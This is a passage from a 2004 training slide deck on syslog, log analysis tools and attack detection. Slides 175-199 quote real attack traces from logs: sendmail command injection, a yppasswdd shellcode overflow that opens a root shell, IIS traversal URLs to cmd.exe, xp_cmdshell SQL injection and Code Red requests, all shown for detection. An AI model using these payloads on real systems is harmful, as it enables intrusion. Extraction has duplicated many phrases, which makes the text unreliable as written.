116. Copyright 2004 Abe Singer and Tina Bird 116 Non-UNIX syslog servers Macintosh netloggerMacintosh netlogger syslog daemon for Windows by Kiwisyslog daemon for Windows by Kiwi Serial connections to a VAX, or a mainframe, or a line printerSerial connections to a VAX, or a mainframe, or a line printer

117. Copyright 2004 Abe Singer and Tina Bird 117 Protect loghost from local users # groupadd loggers # chgrp loggers /dev/log # chmod o-rw,ug+rw /dev/log # ls -l /dev/log srw-rw---- 1 root loggers 0 Feb 20 15:56 /dev/log

118. Copyright 2004 Abe Singer and Tina Bird 118 Network Access to Loghost Use encryption to limit access (via SSH tunnel, or one of the secure syslog replacements)Use encryption to limit access (via SSH tunnel, or one of the secure syslog replacements) Built in firewalling on loghost (ipchains, iptables, etc)Built in firewalling on loghost (ipchains, iptables, etc)

119. Copyright 2004 Abe Singer and Tina Bird 119 Have a good time Accurate time-keeping simplifies analysis and event correlationAccurate time-keeping simplifies analysis and event correlation UNIX and Windows implementations of Network Time Protocol at http://www.ntp.org/downloads.htmlUNIX and Windows implementations of Network Time Protocol at http://www.ntp.org/downloads.html http://www.ntp.org/downloads.html List of public timeservers at http://www.eecis.udel.edu/~mills/ntp/clock1a. htmlList of public timeservers at http://www.eecis.udel.edu/~mills/ntp/clock1a. html http://www.eecis.udel.edu/~mills/ntp/clock1a. html http://www.eecis.udel.edu/~mills/ntp/clock1a. html

120. Copyright 2004 Abe Singer and Tina Bird 120 Have a good time cont. mark facility produces internal timestamps at intervals selected by the adminmark facility produces internal timestamps at intervals selected by the admin useful for verifying that logging is up and running, estimating lags in message delivery or other time synchronization problemsuseful for verifying that logging is up and running, estimating lags in message delivery or other time synchronization problems

121. Copyright 2004 Abe Singer and Tina Bird 121 Getting Data to the Loghost What information is useful for security and system administration?What information is useful for security and system administration? Configure client OS to forward data to loghostConfigure client OS to forward data to loghost Configure applications to log to syslogConfigure applications to log to syslog Tune logging levels as necessaryTune logging levels as necessary Log locally and remotely, for consistency checks and redundancyLog locally and remotely, for consistency checks and redundancy

122. Copyright 2004 Abe Singer and Tina Bird 122 FireWall-1 to loghost Need to record operating system events, firewall policy configuration changes, network connection logs for thorough monitoringNeed to record operating system events, firewall policy configuration changes, network connection logs for thorough monitoring Assumes UNIX host for FW-1Assumes UNIX host for FW-1 Operating system events: standard syslog configuration for the host OSOperating system events: standard syslog configuration for the host OS

123. Copyright 2004 Abe Singer and Tina Bird 123 FireWall-1 to loghost cont. Firewall policy changes:Firewall policy changes: –command line loads are recorded by syslog –loads, changes created via GUI tool are recorded in $FWDIR/log/cpmgmt.aud –as root, start /bin/sh and type /bin/tail -f $FWDIR/log/cpmgmt.aud | /bin/logger -p local6.info > /dev/null 2>&1 &

124. Copyright 2004 Abe Singer and Tina Bird 124 FireWall-1 to loghost cont.

125. Copyright 2004 Abe Singer and Tina Bird 125 FireWall-1 to loghost cont. Firewall network connection logs:Firewall network connection logs: –connection logs are stored in Checkpoint proprietary binary format –as root, start /bin/sh and type $FWDIR/bin/fw log -tf | /bin/logger -p local5.info Watch the log size!Watch the log size!

126. Copyright 2004 Abe Singer and Tina Bird 126 Firewall logging caveat FIrewalls don’t usually record why a packet was allowed or deniedFIrewalls don’t usually record why a packet was allowed or denied May record which particular rule caused a particular connection to fail or succeedMay record which particular rule caused a particular connection to fail or succeed Makes later correlation challenging unless you explicitly save policies when they change, or name rules transparently (and can write names to logs)Makes later correlation challenging unless you explicitly save policies when they change, or name rules transparently (and can write names to logs)

127. Copyright 2004 Abe Singer and Tina Bird 127 Windows to loghost Third-party tools required to send Event Log data to remote loghostThird-party tools required to send Event Log data to remote loghost Pure syslog clients:Pure syslog clients: –http://www.eventreporter.com http://www.eventreporter.com –BackLog http://www.intersectalliance.com/projects http://www.intersectalliance.com/projects –http://www.sabernet.net/software/ntsyslog.html http://www.sabernet.net/software/ntsyslog.html

128. Copyright 2004 Abe Singer and Tina Bird 128 Windows to loghost cont. Other options: Perl module Win32::EventLog – allows external access to EventLog APIOther options: Perl module Win32::EventLog – allows external access to EventLog API Discussion based on inexpensive third-party tool, EventReporterDiscussion based on inexpensive third-party tool, EventReporter

129. Copyright 2004 Abe Singer and Tina Bird 129 Windows Audit Policy

130. Copyright 2004 Abe Singer and Tina Bird 130 Windows to loghost cont.

131. Copyright 2004 Abe Singer and Tina Bird 131 Windows to loghost cont.

132. Copyright 2004 Abe Singer and Tina Bird 132 Windows to loghost cont.

133. Copyright 2004 Abe Singer and Tina Bird 133 Windows to loghost cont.

134. Copyright 2004 Abe Singer and Tina Bird 134 Other application considerations logger can be used to capture any UNIX log data that can be expressed in textlogger can be used to capture any UNIX log data that can be expressed in text Kiwi’s logger for Windows appsKiwi’s logger for Windows apps In-house applications? Most UNIX & Windows programming languages include function calls to system loggerIn-house applications? Most UNIX & Windows programming languages include function calls to system logger

135. Copyright 2004 Abe Singer and Tina Bird 135 Mainframes to loghost Tivoli NetView Manager for OS 390Tivoli NetView Manager for OS 390 Syslog/iX for Hewlett Packard MPESyslog/iX for Hewlett Packard MPE Please e-mail tbird@precision-guesswork.com if you know of others!Please e-mail tbird@precision-guesswork.com if you know of others!tbird@precision-guesswork.com

136. Copyright 2004 Abe Singer and Tina Bird 136 Log Rotation Many circumstances can create huge quantities of logsMany circumstances can create huge quantities of logs –deliberate DoS attempts –Nimda –forwarding Apache access logs to syslog Protect loghost’s integrity by rotating and archiving logs regularlyProtect loghost’s integrity by rotating and archiving logs regularly

137. Copyright 2004 Abe Singer and Tina Bird 137 Log Rotation cont. UNIX variants now include log rotation as part of their default installUNIX variants now include log rotation as part of their default install Rotate based on absolute size, disk utilization, age of dataRotate based on absolute size, disk utilization, age of data Delete old records, or compress the data and store it elsewhere?Delete old records, or compress the data and store it elsewhere?

138. Copyright 2004 Abe Singer and Tina Bird 138 Managing the Event Log Archive and storage optionsArchive and storage options –default behavior: overwrite old logs –save and clear binary files on regular schedule if appropriate –or log remotely and avoid whole issue Batch processing to export, dump, viewBatch processing to export, dump, view –dumpel from WinNT/2000 Resource Kit will dump logs to comma-delimited files

139. Copyright 2004 Abe Singer and Tina Bird 139 Interpreting Log Data Wisdom Extraction

140. Copyright 2004 Abe Singer and Tina Bird 140 A Note on Log Reduction Most tools use regular expressions (of varying complexity) to divide logs into “discard” and “investigate”Most tools use regular expressions (of varying complexity) to divide logs into “discard” and “investigate” Size of logs also reduced by fixing problems: minor configuration errors & hardware glitches that don’t disrupt service but can be resolvedSize of logs also reduced by fixing problems: minor configuration errors & hardware glitches that don’t disrupt service but can be resolved

141. Copyright 2004 Abe Singer and Tina Bird 141 Log Analysis Tools Some syslog collectors (like syslog-ng) offer sophisticated parsing mechanisms for real-line processing as data is receivedSome syslog collectors (like syslog-ng) offer sophisticated parsing mechanisms for real-line processing as data is received Some analysis tools with the ability to handle real-time data streams can be used as collectorsSome analysis tools with the ability to handle real-time data streams can be used as collectorsbut….

142. Copyright 2004 Abe Singer and Tina Bird 142 Log Analysis Tools cont. In practice want to separate the collecting and analyzing capacities even if you use the same codeIn practice want to separate the collecting and analyzing capacities even if you use the same code –archive raw data for future processing –both tasks can be extremely resource intensive, so separating them provides better scalability

143. Copyright 2004 Abe Singer and Tina Bird 143 Automated Log Parsing

144. Copyright 2004 Abe Singer and Tina Bird 144 Automated Log Parsing cont. Regular expressions to sort data intoRegular expressions to sort data into –“nominal status” events –known significant events All remaining (new?) messages sent to administrators for research and triageAll remaining (new?) messages sent to administrators for research and triage Marcus Ranum’s “artificial ignorance” approachMarcus Ranum’s “artificial ignorance” approach

145. Copyright 2004 Abe Singer and Tina Bird 145 Start Your Ignore List cut -f5- -d\ all.log.0 | sort | uniq -c |sort -nr > uniq.sorted.freq

146. Copyright 2004 Abe Singer and Tina Bird 146 Potential Problems Once system is tuned, catch new attacks and problems as frequently as human is able to review unmatched dataOnce system is tuned, catch new attacks and problems as frequently as human is able to review unmatched data Attacks and problems are typically rare eventsAttacks and problems are typically rare events Can we seed the system with signatures of “known bad” events?Can we seed the system with signatures of “known bad” events?

147. Copyright 2004 Abe Singer and Tina Bird 147 Creating attack signatures Lance Spitzner and others: run the attacks you care about off-line, and use the log data you generate to write swatch or logsurfer filtersLance Spitzner and others: run the attacks you care about off-line, and use the log data you generate to write swatch or logsurfer filters Same deal with administrative events and system changesSame deal with administrative events and system changes

148. Copyright 2004 Abe Singer and Tina Bird 148 Creating attack sigs cont. Outside sources of attack data:Outside sources of attack data: –This class –The Log Analysis Web site –incidents@securityfocus.com mailing list incidents@securityfocus.com –intrusions@intrusions.org mailing list intrusions@intrusions.org

149. Copyright 2004 Abe Singer and Tina Bird 149 Other data sources Developers – likeliest to work with in-house applications or custom stuffDevelopers – likeliest to work with in-house applications or custom stuff DocumentationDocumentation –frequently hard to evaluate (is this log message still in the code execution path?) –frequently non-existent –start with emerg/warning/alert level messages

150. Copyright 2004 Abe Singer and Tina Bird 150 swatch Most frequently-deployed tool for real-time log monitoringMost frequently-deployed tool for real-time log monitoring Perl-based, single line processing, message consolidation if timestamps availablePerl-based, single line processing, message consolidation if timestamps available Output colors based on content of what’s being matchedOutput colors based on content of what’s being matched

151. Copyright 2004 Abe Singer and Tina Bird 151 swatch cont. Configuration file requires patterns for swatch to identify, and actions to be taken when the patterns appearConfiguration file requires patterns for swatch to identify, and actions to be taken when the patterns appear System impact can be significant, especially if swatch starts external programs (like sendmail) when alerts are generatedSystem impact can be significant, especially if swatch starts external programs (like sendmail) when alerts are generated

152. Copyright 2004 Abe Singer and Tina Bird 152 swatch cont. For instance, to identify failed logins:For instance, to identify failed logins: watchfor /login.*:.* LOGIN FAILURES ON/ mail=swatcher Write catch-all filter at end of file to identify new messages (have to tune file as per checksyslog first):Write catch-all filter at end of file to identify new messages (have to tune file as per checksyslog first): watchfor /.*/ mail=swatcher,mail=swatch-coder

153. Copyright 2004 Abe Singer and Tina Bird 153 LogSentry pattern matching to look for significant eventspattern matching to look for significant events based on script from Gauntlet firewallbased on script from Gauntlet firewall reports on pre-configured security messages, unusual messages via email summaryreports on pre-configured security messages, unusual messages via email summary batch processing, not real timebatch processing, not real time

154. Copyright 2004 Abe Singer and Tina Bird 154 Third Party Applications cont. LogSentry keywords determined from: syslog, tcpwrapper and TIS Firewall Toolkit logssyslog, tcpwrapper and TIS Firewall Toolkit logs Beta testers and end usersBeta testers and end users “guessing”“guessing”

155. Copyright 2004 Abe Singer and Tina Bird 155 Third Party Applications cont. FreeBSD LogSentry keywords (hacking): EXPN root LOGIN root REFUSED rlogind.*: Connection from.* on illegal port rshd.*: Connection from.* on illegal port sendmail.*: user.* attempted to run daemon

156. Copyright 2004 Abe Singer and Tina Bird 156 logsurfer Multi-line log event processorMulti-line log event processor Maintains context messages & situationsMaintains context messages & situations Includes timeouts and resource limitsIncludes timeouts and resource limits Can change monitoring behavior if situation requiresCan change monitoring behavior if situation requires

157. Copyright 2004 Abe Singer and Tina Bird 157 logsurfer cont. Configuration issues: Severe system impact possible if external programs (like sendmail) are called in response to eventsSevere system impact possible if external programs (like sendmail) are called in response to events Regular expressions must be “good enough”Regular expressions must be “good enough” –too general matches irrelevant messages –too specific misses messages that should be matched

158. Copyright 2004 Abe Singer and Tina Bird 158 logsurfer cont. # rpcbind #-------------------------------------- ' rpcbind: refused connect from ([^ ]*)' ' connect from [^]*.local.net|localhost)' - - 0 CONTINUE open "^.{19,}$2" - 4000 86400 0 ignore ' ([^.]*)(.local.net|) rpcbind: refused connect from ([^ ]*) ' - - - 0 CONTINUE rule before " rpcbind: refused connect from $4" - - - 300 ignore ' ([^.]*)(.local.net|) rpcbind: refused connect from ([^ ]*) ' - - - 0 exec "/usr/local/sbin/safe_finger @4 | /usr/local/sbin/start-mail logsurfer \"$2: rpcbind: (backtrack)\""

159. Copyright 2004 Abe Singer and Tina Bird 159 Other single line parsing tools autobuseautobuse colorlogscolorlogs roottailroottail log_analysislog_analysis logmuncherlogmuncher logscannerlogscanner LogWatchLogWatch and the list goes on....

160. Copyright 2004 Abe Singer and Tina Bird 160 Baselining What’s normal? How many apps/facilities/systems report to loghost?How many apps/facilities/systems report to loghost? How many distinct messages from each facility?How many distinct messages from each facility? Top ten most frequent and “top” ten least frequent are a good place to startTop ten most frequent and “top” ten least frequent are a good place to start

161. Copyright 2004 Abe Singer and Tina Bird 161 Baselining cont. Amount of network traffic per protocol: total HTTP, email, FTP etc.Amount of network traffic per protocol: total HTTP, email, FTP etc. Logins/logoffs, access of admin accountsLogins/logoffs, access of admin accounts DHCP address management, DNS requestsDHCP address management, DNS requests total amount of log data per hour/daytotal amount of log data per hour/day number of processes running at any timenumber of processes running at any time

162. Copyright 2004 Abe Singer and Tina Bird 162 Thresholding Once you’ve baselined, what’s weird?Once you’ve baselined, what’s weird? Conditions: given a line of data,Conditions: given a line of data, –notify based on the presence of a second line –the absence of a second line –number of times that event happens in a given time period Or notify when a message doesn’t appear!Or notify when a message doesn’t appear!

163. Copyright 2004 Abe Singer and Tina Bird 163 What’s Interesting? cont. It depends:It depends: Whatever else is pertinent and threatening in your own environment: custom applications, unusual hardware, whatever hit Bugtraq last week…

164. Copyright 2004 Abe Singer and Tina Bird 164 What’s Interesting? cont. Ugh: in order to identify suspicious behavior, you have to know what expected behavior isUgh: in order to identify suspicious behavior, you have to know what expected behavior is Can’t define “weird” unless you know “normal”Can’t define “weird” unless you know “normal” What’s normal in California may be highly unusual in KansasWhat’s normal in California may be highly unusual in Kansas

165. Copyright 2004 Abe Singer and Tina Bird 165 Finding the Good Stuff grep, sort, uniq to eliminate nominal status messages, filter things down to the interesting and unknowngrep, sort, uniq to eliminate nominal status messages, filter things down to the interesting and unknown Or Excel, if you don’t have too much data to processOr Excel, if you don’t have too much data to process Surprising amounts of info available on obscure messages by searching the InternetSurprising amounts of info available on obscure messages by searching the Internet

166. Copyright 2004 Abe Singer and Tina Bird 166 Finding the Good Stuff cont. What obscure messages and services?What obscure messages and services? SunMC-SLMeri asclock_appletfarmd gnomepager_appletpcipsy multiload_appletuxwdog magicdev netcon_server

167. Copyright 2004 Abe Singer and Tina Bird 167 Finding the Good Stuff cont. Oct 26 03:10:38 172.16.6.8 [-1]: 10.1.8.29 pyseekd[10906]: Info: [master] deleting directory /cust/SEEKUltra-3.18/master /master/db/118750

168. Copyright 2004 Abe Singer and Tina Bird 168 Finding the Good Stuff cont.

169. Copyright 2004 Abe Singer and Tina Bird 169 Finding the Good Stuff cont.

170. Copyright 2004 Abe Singer and Tina Bird 170 What to look for Passwords changed by someone other than the user – especially UID 0 users with null loginsPasswords changed by someone other than the user – especially UID 0 users with null logins Processes dying with error code 1Processes dying with error code 1 Long messages full of random charactersLong messages full of random characters Unexpected configuration changesUnexpected configuration changes

171. Copyright 2004 Abe Singer and Tina Bird 171 What to look for cont. The least-frequent messages generated on your networkThe least-frequent messages generated on your network Messages containing the words fatal, panic or password/passwdMessages containing the words fatal, panic or password/passwd Sudden increase or decrease in the number of messages received from a host or applicationSudden increase or decrease in the number of messages received from a host or application

172. Copyright 2004 Abe Singer and Tina Bird 172 What to look for cont. Failed logon from non-local or unknown domainFailed logon from non-local or unknown domain

173. Copyright 2004 Abe Singer and Tina Bird 173 Other Logs to Check Older rootkits do not backdoor tcp-wrappers, so check for unexpected loginsOlder rootkits do not backdoor tcp-wrappers, so check for unexpected logins FTPd records logins and is not typically replacedFTPd records logins and is not typically replaced Shell history files in the directory where the compromised server diedShell history files in the directory where the compromised server died

174. Copyright 2004 Abe Singer and Tina Bird 174 Other Logs to Check cont. Web server access logsWeb server access logs Proxy server logsProxy server logs Information contained in core dumps from compromised serversInformation contained in core dumps from compromised servers

175. Copyright 2004 Abe Singer and Tina Bird 175 Attack signatures Log data from miscellaneous attacks & exploits & Intersting things to look for

176. Copyright 2004 Abe Singer and Tina Bird 176 Creating New User – WinNT EvntSLog:423: [AUS] Fri Oct 05 11:59:09 2001: HANDCUFFS/Security (624) - "User Account Created: New Account Name: tbird New Domain: HANDCUFFS New Account ID: S-1-5-21-1647595427-22557637- 1039276024-1001 Caller User Name: Administrator Caller Domain: HANDCUFFS Caller Logon ID: (0x0,0x2B79) Privileges - " EvntSLog:423: [AUS] Fri Oct 05 11:59:09 2001: HANDCUFFS/Security (624) - "User Account Created: New Account Name: tbird New Domain: HANDCUFFS New Account ID: S-1-5-21-1647595427-22557637- 1039276024-1001 Caller User Name: Administrator Caller Domain: HANDCUFFS Caller Logon ID: (0x0,0x2B79) Privileges - "

177. Copyright 2004 Abe Singer and Tina Bird 177 Creating New User – WinNT cont. EvntSLog:424: [AUS] Fri Oct 05 11:59:09 2001: HANDCUFFS/Security (626) - "User Account Enabled: Target Account Name: tbird Target Domain: HANDCUFFS Target Account ID: S-1-5-21-1647595427- 22557637-1039276024-1001 Caller User Name: Administrator Caller Domain: HANDCUFFS Caller Logon ID: (0x0,0x2B79) " EvntSLog:424: [AUS] Fri Oct 05 11:59:09 2001: HANDCUFFS/Security (626) - "User Account Enabled: Target Account Name: tbird Target Domain: HANDCUFFS Target Account ID: S-1-5-21-1647595427- 22557637-1039276024-1001 Caller User Name: Administrator Caller Domain: HANDCUFFS Caller Logon ID: (0x0,0x2B79) " EvntSLog:425: [AUS] Fri Oct 05 11:59:09 2001: HANDCUFFS/Security (628) - "User Account password set: Target Account Name: tbird Target Domain: HANDCUFFS Target Account ID: S-1-5-21-1647595427- 22557637-1039276024-1001 Caller User Name: Administrator Caller Domain: HANDCUFFS Caller Logon ID: (0x0,0x2B79) " EvntSLog:425: [AUS] Fri Oct 05 11:59:09 2001: HANDCUFFS/Security (628) - "User Account password set: Target Account Name: tbird Target Domain: HANDCUFFS Target Account ID: S-1-5-21-1647595427- 22557637-1039276024-1001 Caller User Name: Administrator Caller Domain: HANDCUFFS Caller Logon ID: (0x0,0x2B79) "

178. Copyright 2004 Abe Singer and Tina Bird 178 SSH CRC-32 Attack sshd[6169]: fatal: Local: Corrupted check bytes on input. sshd[6253]: fatal: Local: crc32 compensation attack: network attack detected

179. Copyright 2004 Abe Singer and Tina Bird 179 sendmail Exploits Jul 21 01:25:49 ariel sendmail[308]: BAA00307: to=lamarbroc@delphi.com, ctladdr=":/bin/mail root@ariel.sdsc.edu </etc/passwd", delay=00:00:34, mailer=smtp, relay=bos1h.delphi.com. (192.80.63.8), stat=Sent (Ok.) Jul 21 01:35:40 ariel sendmail[545]: setsender: "/bin/mail root@ariel.sdsc.edu </etc/passwd": invalid or unparseable, received from [205.133.101.5] Jul 21 13:13:04 ariel sendmail[784]: NAA00783: to=\tsutomu, ctladdr=tsutomu@ariel.sdsc.edu, delay=00:03:09, mailer=local, stat=Sent

180. Copyright 2004 Abe Singer and Tina Bird 180 Nimda: Worm Sign 204.120.69.195 - - [18/Sep/2001:09:35:19 -0500] "GET /scripts/..%35%63../winnt/system32 /cmd.exe?/c+dir HTTP/1.0" 400 215 "-" "-" /cmd.exe?/c+dir HTTP/1.0" 400 215 "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:22 -0500] "GET /scripts/..%35c../winnt/system32 /cmd.exe?/c+dir HTTP/1.0" 400 215 "-" "-" /cmd.exe?/c+dir HTTP/1.0" 400 215 "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:23 -0500] "GET /scripts/..%25%35%63../winnt/system3/ cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-“ cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-“ 204.120.69.195 - - [18/Sep/2001:09:35:23 -0500] "GET /scripts/..%25%35%63../winnt/system32 /cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-" /cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-"

181. Copyright 2004 Abe Singer and Tina Bird 181 Config Change on Cisco IOS %SYS-5-CONFIG: Configured from host1-config by rcp from 172.16.101.101

182. Copyright 2004 Abe Singer and Tina Bird 182 ACL changes Sep 12 12:13:39 2000 f_cf a_acladm t_acl_change p_major pid: 21734 ruid: 0 euid: 0 pgid: 21734 fid: 1021694 cmd: 'cf‘ domain: Admn edomain: Admn acl_admin: tbird acl_op: modify acl_table: acl acl_data: {'ignore': 0, 'name': 'ssh_ext_soc'}

183. Copyright 2004 Abe Singer and Tina Bird 183 FW-1: MAD Port Scan Alert Feb 26 17:47:28 moose.sj.counterpane.com root: 26Feb2001 17:47:28 accept localhost >daemon useralert product MAD proto ip src elendil dst moose additionals: attack=blocked_connection_port_scan ning

184. Copyright 2004 Abe Singer and Tina Bird 184 iptables: Detecting Specific Attacks Create a specific rule to block a known attack, likeCreate a specific rule to block a known attack, like iptables -A FORWARD -i eth0 -p tcp --tcp- flags ALL SYN -d 0/0 –dport 17300 -j LOG --log-prefix " KUANG2_SCAN " iptables -A FORWARD -i eth0 -p tcp --tcp- flags ALL SYN -d 0/0 –dport 17300 -j REJECT --reject-with icmp-host- unreachable

185. Copyright 2004 Abe Singer and Tina Bird 185 iptables: Detecting Specific Attacks Get easy to read logs likeGet easy to read logs like Oct 19 07:58:36 gw1 kernel: KUANG2_SCAN IN=eth0 OUT=eth1 SRC=172.170.221.49 DST=10.10.10.10 LEN=48 TOS=0x00 PREC=0x00 TTL=115 ID=37626 DF PROTO=TCP SPT=1899 DPT=17300 WINDOW=8192 RES=0x00 SYN URGP=0

186. Copyright 2004 Abe Singer and Tina Bird 186 Slapper: Linux/SSL worm Apache/mod-SSL worm discovered 13 Sept 2002; exploits buffer overflow in SSL v2Apache/mod-SSL worm discovered 13 Sept 2002; exploits buffer overflow in SSL v2 [error] SSL handshake failed: HTTP spoken on HTTPS port; trying to send HTML error page [error] OpenSSL: error:1407609C:SSL routines:SSL23_GET_CLIENT_HELLO: http request [Hint: speaking HTTP to HTTPS port!?]

187. Copyright 2004 Abe Singer and Tina Bird 187 Windows Attack Signatures 289010633 2003-01-09 00:18:41.423 xxxxx.ad.uky.edu AUTH/SEC WARNING 138161:Thu Jan 09 00:18:40 2003: XXXXX/Security (529) - "Logon Failure: Reason: Unknown user name or bad password User Name: administrator Domain: PAFU- EYWAKTYSNO Logon Type: 3 Logon Process: NtLmSsp Authentication Package: NTLM Workstation Name: PAFU-EYWAKTYSNO"

188. Copyright 2004 Abe Singer and Tina Bird 188 CERT Advisory CA-2002-03 Numerous vulnerabilities in SNMP implementationsNumerous vulnerabilities in SNMP implementations Denial of service in all vulnerable systemsDenial of service in all vulnerable systems Buffer overflow/root compromise in some vulnerable systemsBuffer overflow/root compromise in some vulnerable systems PROTOS test suite publicly availablePROTOS test suite publicly available

189. Copyright 2004 Abe Singer and Tina Bird 189 Detecting Use of PROTOS Preliminary results for Solaris snmpdx:Preliminary results for Solaris snmpdx: One of the test packets DoSes daemonOne of the test packets DoSes daemon Next test case generates syslog msg:Next test case generates syslog msg: Feb 12 23:25:48 mordor snmpdx: agent snmpd not responding

190. Copyright 2004 Abe Singer and Tina Bird 190 PROTOS vs. Solaris SNMP Feb 15 02:06:45 mordor snmpdx: error while receiving a pdu from testmachine.lab.fakename.com.60347: The message has a wrong version (8355711) Feb 15 02:08:58 mordor snmpdx: SNMP error (UNKNOWN! (65793), 0) sent back to testmachine.lab.fakename.com.61021

191. Copyright 2004 Abe Singer and Tina Bird 191 PROTOS signatures: Snort alert udp $EXTERNAL_NET any -> $HOME_NET 161 (msg:"Attack using PROTOS Test-Suite-req- app"; content: "|30 26 02 01 00 04 06 70 75 62 6C 69 63 A0 19 02 01 00 02 01 00 02 01 00 30 0E 30 0C 06 08 2B 06 01 02 01 01 05 00 05 00|";)

192. Copyright 2004 Abe Singer and Tina Bird 192 Buffer Overflows - Again Jun 18 16:54:45 beagle yppasswdd[155]: yppasswdd: user @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@ÿ¾û¸ÿ¾üL@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@ ¿ÿÿ ¿ÿÿÿÿÿàP" À®`î"?ð®àÀ-ÿÿî"?ô®àÀ- ÿþî"?øÀ-ÿÿÀ"?ü ;Ð ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ/bin/shÿ-cÿ echo 'rje stream tcp nowait root /bin/sh sh -i'>z;/usr/sbin/inetd -s z;rm z;: does not exist

193. Copyright 2004 Abe Singer and Tina Bird 193 cachefsd Buffer Overflow May 16 22:46:08 victim-host inetd[600]: /usr/lib/fs/cachefs/cachefsd: Segmentation Fault - core dumped May 16 22:46:22 victim-host inetd[600]: /usr/lib/fs/cachefs/cachefsd: Bus Error - core dumped May 16 22:47:09 victim-host inetd[600]: /usr/lib/fs/cachefs/cachefsd: Hangup

194. Copyright 2004 Abe Singer and Tina Bird 194 Cisco Interface Changing Status Feb 26 00:29:50: %LINEPROTO-5- UPDOWN: Line protocol on Interface ATM0/0/1, changed state to down Feb 26 00:29:55: %LINEPROTO-5- UPDOWN: Line protocol on Interface ATM0/0/1, changed state to up

195. Copyright 2004 Abe Singer and Tina Bird 195 Web Server Attack Signatures Highly visible, frequently attackedHighly visible, frequently attacked Error logs reveal app failuresError logs reveal app failures Access logs reveal attempts to retrieve files, traverse directories, may record SQL injection attacksAccess logs reveal attempts to retrieve files, traverse directories, may record SQL injection attacks

196. Copyright 2004 Abe Singer and Tina Bird 196 Apache httpd notes Watch for Slapper, chunked encoding attacksSlapper, chunked encoding attacks Incorrectly configured cgi-bin:Incorrectly configured cgi-bin: http://host/cgi- bin/lame.cgi?file=../../../../e tc/motd

197. Copyright 2004 Abe Singer and Tina Bird 197 Attacks on IIS Remote access to Windows Shell:Remote access to Windows Shell: http://host/scripts/something.a sp=../../WINNT/system32/cmd.e xe?dir+e:\ Download the Windows password DB:Download the Windows password DB: [drive- letter]:\winnt\repair\sam._

198. Copyright 2004 Abe Singer and Tina Bird 198 Attacks on IIS cont. Inappropriate access to server info:Inappropriate access to server info: http://host/index.asp?something=..\..\..\..\WINNT\system32\cmd.exe?/c +DIR+e:\WINNT\*.txt http://host/index.asp?something=..\..\..\..\WINNT\system32\cmd.exe?/c +DIR+e:\WINNT\*.txt SQL injection attack on MS-SQL:SQL injection attack on MS-SQL: http://host/cgi- bin/lame.asp?name=john`;EXEC master.dbo.xp_cmdshell'cmd.exe dir c:'--

199. Copyright 2004 Abe Singer and Tina Bird 199 Code Red 128.101.47.28 - - [28/Sep/2001:00:43:43 - 0400] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXX%u9090%u6858%ucbd3%u7801%u9090%u6858 %ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9 090%u9090%u8190%u00c3%u0003%u8b00%u531b %u53ff%u0078%u0000%u00=a HTTP/1.0" 404 284 "-" "-"

200. Copyright 2004 Abe Singer and Tina Bird 200 Most common logging mistakes

201. Copyright 2004 Abe Singer and Tina Bird 201 Most common logging mistakes Not ever looking at the logsNot ever looking at the logs Not thinking about what sorts of system events you’d like to monitor, before you need to find themNot thinking about what sorts of system events you’d like to monitor, before you need to find them Monitoring firewall and/or IDS logs but not database or Web server logs (that is, watching perimeter security systems but not the ultimate targets of attacks)Monitoring firewall and/or IDS logs but not database or Web server logs (that is, watching perimeter security systems but not the ultimate targets of attacks)

202. Copyright 2004 Abe Singer and Tina Bird 202 Most common logging mistakes cont. Deciding on logging software, analysis software, rotation schedule, archiving system before you’ve determined what sorts of data to collect, how long to store it, how much you’ll getDeciding on logging software, analysis software, rotation schedule, archiving system before you’ve determined what sorts of data to collect, how long to store it, how much you’ll get Getting into any conversation on data transfer protocols or XML formattingGetting into any conversation on data transfer protocols or XML formatting

203. Copyright 2004 Abe Singer and Tina Bird 203 Synopsis Need to watch across the network – intrusion detection systems, integrity checks, core system logfiles – and across multiple operating systems, applicationsNeed to watch across the network – intrusion detection systems, integrity checks, core system logfiles – and across multiple operating systems, applications To identify attacks in progress, you have to understand the normal day-to-day operation of your networkTo identify attacks in progress, you have to understand the normal day-to-day operation of your network

204. Copyright 2004 Abe Singer and Tina Bird 204 Synopsis The ratio of interesting to non-interesting audit events is very lowThe ratio of interesting to non-interesting audit events is very low Legal situation: not as bad as tech issues suggest, especially if you rely on logs for (non-info-sec) business processesLegal situation: not as bad as tech issues suggest, especially if you rely on logs for (non-info-sec) business processes

205. Copyright 2004 Abe Singer and Tina Bird 205 Appendix 1: US Legal Considerations

206. Copyright 2004 Abe Singer and Tina Bird 206 Legal Considerations Current “one size fits all” approachCurrent “one size fits all” approach Division of computer data into broad categories based on presence of human- generated contentDivision of computer data into broad categories based on presence of human- generated content Evidentiary requirementsEvidentiary requirements

207. Copyright 2004 Abe Singer and Tina Bird 207 “One size fits all” Current case law mostly agrees that computer records maintained as part of regular business procedures are admissible as evidenceCurrent case law mostly agrees that computer records maintained as part of regular business procedures are admissible as evidence Computer records classified as hearsay, and then allowed according to business record hearsay exemption – but this isn’t really accurateComputer records classified as hearsay, and then allowed according to business record hearsay exemption – but this isn’t really accurate

208. Copyright 2004 Abe Singer and Tina Bird 208 Computer Data Categories Data generated by humans that happens to be stored on a computerData generated by humans that happens to be stored on a computer –e-mail messages, documents, static Web page content Computer-generated recordsComputer-generated records –network connection logs, ATM receipts Mixed dataMixed data –spread sheets, dynamic Web content

